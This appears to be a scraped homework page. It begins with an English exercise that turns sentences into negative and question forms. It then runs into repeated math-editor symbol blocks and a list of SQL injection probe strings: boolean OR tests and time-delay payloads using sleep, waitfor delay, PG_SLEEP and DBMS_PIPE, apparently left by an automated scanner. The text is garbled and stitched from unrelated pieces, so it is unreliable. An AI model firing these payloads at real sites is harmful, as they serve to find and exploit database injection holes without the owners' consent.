change into neg (-) and inter (?) from:
1. we are going to visit the citadel next sunday
(-)
(?)
2. tom goes to the library every friday.
(-)
(?)
3. we have been here since 6 o'clock.

(-)

(?)
4. the children are playing in the yard.
(-)

(?)

1$$\\x^{2}\sqrt{x}\sqrt[n]{x}\frac{x}{y}x_{12}\leq\geq\neq\pi\alpha\beta\left \{ {{y=2} \atop {x=2}} \right.\int\limits^a_b {x} \, dx\lim_{n \to \infty} a_n\left[\begin{array}{ccc}1&2&3\\4&5&6\\7&8&9\end{array}\right]$$ ² ³ √ ∛ · × ÷ ± ≈ ≤ ≥ ≡ ⇒ ⇔ ∈ ∉ ∧ ∨ ∞ Δ π Ф ω ↑ ↓ ∵ ∴ ↔ → ← ⇵ ⇅ ⇄ ⇆ ∫ ∑ ⊂ ⊃ ⊆ ⊇ ⊄ ⊅ ∀ ∠ ∡ ⊥ ∪ ∩ ∅ ⊕ ║

1$$\\x^{2}\sqrt{x}\sqrt[n]{x}\frac{x}{y}x_{12}\leq\geq\neq\pi\alpha\beta\left \{ {{y=2} \atop {x=2}} \right.\int\limits^a_b {x} \, dx\lim_{n \to \infty} a_n\left[\begin{array}{ccc}1&2&3\\4&5&6\\7&8&9\end{array}\right]$$ ² ³ √ ∛ · × ÷ ± ≈ ≤ ≥ ≡ ⇒ ⇔ ∈ ∉ ∧ ∨ ∞ Δ π Ф ω ↑ ↓ ∵ ∴ ↔ → ← ⇵ ⇅ ⇄ ⇆ ∫ ∑ ⊂ ⊃ ⊆ ⊇ ⊄ ⊅ ∀ ∠ ∡ ⊥ ∪ ∩ ∅ ⊕ ║

1$$\\x^{2}\sqrt{x}\sqrt[n]{x}\frac{x}{y}x_{12}\leq\geq\neq\pi\alpha\beta\left \{ {{y=2} \atop {x=2}} \right.\int\limits^a_b {x} \, dx\lim_{n \to \infty} a_n\left[\begin{array}{ccc}1&2&3\\4&5&6\\7&8&9\end{array}\right]$$ ² ³ √ ∛ · × ÷ ± ≈ ≤ ≥ ≡ ⇒ ⇔ ∈ ∉ ∧ ∨ ∞ Δ π Ф ω ↑ ↓ ∵ ∴ ↔ → ← ⇵ ⇅ ⇄ ⇆ ∫ ∑ ⊂ ⊃ ⊆ ⊇ ⊄ ⊅ ∀ ∠ ∡ ⊥ ∪ ∩ ∅ ⊕ ║

1$$\\x^{2}\sqrt{x}\sqrt[n]{x}\frac{x}{y}x_{12}\leq\geq\neq\pi\alpha\beta\left \{ {{y=2} \atop {x=2}} \right.\int\limits^a_b {x} \, dx\lim_{n \to \infty} a_n\left[\begin{array}{ccc}1&2&3\\4&5&6\\7&8&9\end{array}\right]$$ ² ³ √ ∛ · × ÷ ± ≈ ≤ ≥ ≡ ⇒ ⇔ ∈ ∉ ∧ ∨ ∞ Δ π Ф ω ↑ ↓ ∵ ∴ ↔ → ← ⇵ ⇅ ⇄ ⇆ ∫ ∑ ⊂ ⊃ ⊆ ⊇ ⊄ ⊅ ∀ ∠ ∡ ⊥ ∪ ∩ ∅ ⊕ ║

1$$\\x^{2}\sqrt{x}\sqrt[n]{x}\frac{x}{y}x_{12}\leq\geq\neq\pi\alpha\beta\left \{ {{y=2} \atop {x=2}} \right.\int\limits^a_b {x} \, dx\lim_{n \to \infty} a_n\left[\begin{array}{ccc}1&2&3\\4&5&6\\7&8&9\end{array}\right]$$ ² ³ √ ∛ · × ÷ ± ≈ ≤ ≥ ≡ ⇒ ⇔ ∈ ∉ ∧ ∨ ∞ Δ π Ф ω ↑ ↓ ∵ ∴ ↔ → ← ⇵ ⇅ ⇄ ⇆ ∫ ∑ ⊂ ⊃ ⊆ ⊇ ⊄ ⊅ ∀ ∠ ∡ ⊥ ∪ ∩ ∅ ⊕ ║

1$$\\x^{2}\sqrt{x}\sqrt[n]{x}\frac{x}{y}x_{12}\leq\geq\neq\pi\alpha\beta\left \{ {{y=2} \atop {x=2}} \right.\int\limits^a_b {x} \, dx\lim_{n \to \infty} a_n\left[\begin{array}{ccc}1&2&3\\4&5&6\\7&8&9\end{array}\right]$$ ² ³ √ ∛ · × ÷ ± ≈ ≤ ≥ ≡ ⇒ ⇔ ∈ ∉ ∧ ∨ ∞ Δ π Ф ω ↑ ↓ ∵ ∴ ↔ → ← ⇵ ⇅ ⇄ ⇆ ∫ ∑ ⊂ ⊃ ⊆ ⊇ ⊄ ⊅ ∀ ∠ ∡ ⊥ ∪ ∩ ∅ ⊕ ║

1$$\\x^{2}\sqrt{x}\sqrt[n]{x}\frac{x}{y}x_{12}\leq\geq\neq\pi\alpha\beta\left \{ {{y=2} \atop {x=2}} \right.\int\limits^a_b {x} \, dx\lim_{n \to \infty} a_n\left[\begin{array}{ccc}1&2&3\\4&5&6\\7&8&9\end{array}\right]$$ ² ³ √ ∛ · × ÷ ± ≈ ≤ ≥ ≡ ⇒ ⇔ ∈ ∉ ∧ ∨ ∞ Δ π Ф ω ↑ ↓ ∵ ∴ ↔ → ← ⇵ ⇅ ⇄ ⇆ ∫ ∑ ⊂ ⊃ ⊆ ⊇ ⊄ ⊅ ∀ ∠ ∡ ⊥ ∪ ∩ ∅ ⊕ ║

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-1 OR 2+541-541-1=0+0+0+1 --

-1 OR 2+321-321-1=0+0+0+1

-1' OR 2+155-155-1=0+0+0+1 --

-1' OR 2+68-68-1=0+0+0+1 or 'uY1VRz1y'='

-1" OR 2+126-126-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

lUJlugfT'; waitfor delay '0:0:15' --

4QFo0VIJ' OR 219=(SELECT 219 FROM PG_SLEEP(15))--

3kyHFTQU') OR 62=(SELECT 62 FROM PG_SLEEP(15))--

Po9HfV9P')) OR 503=(SELECT 503 FROM PG_SLEEP(15))--

1$$\\x^{2}\sqrt{x}\sqrt[n]{x}\frac{x}{y}x_{12}\leq\geq\neq\pi\alpha\beta\left \{ {{y=2} \atop {x=2}} \right.\int\limits^a_b {x} \, dx\lim_{n \to \infty} a_n\left[\begin{array}{ccc}1&2&3\\4&5&6\\7&8&9\end{array}\right]$$ ² ³ √ ∛ · × ÷ ± ≈ ≤ ≥ ≡ ⇒ ⇔ ∈ ∉ ∧ ∨ ∞ Δ π Ф ω ↑ ↓ ∵ ∴ ↔ → ← ⇵ ⇅ ⇄ ⇆ ∫ ∑ ⊂ ⊃ ⊆ ⊇ ⊄ ⊅ ∀ ∠ ∡ ⊥ ∪ ∩ ∅ ⊕ ║'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

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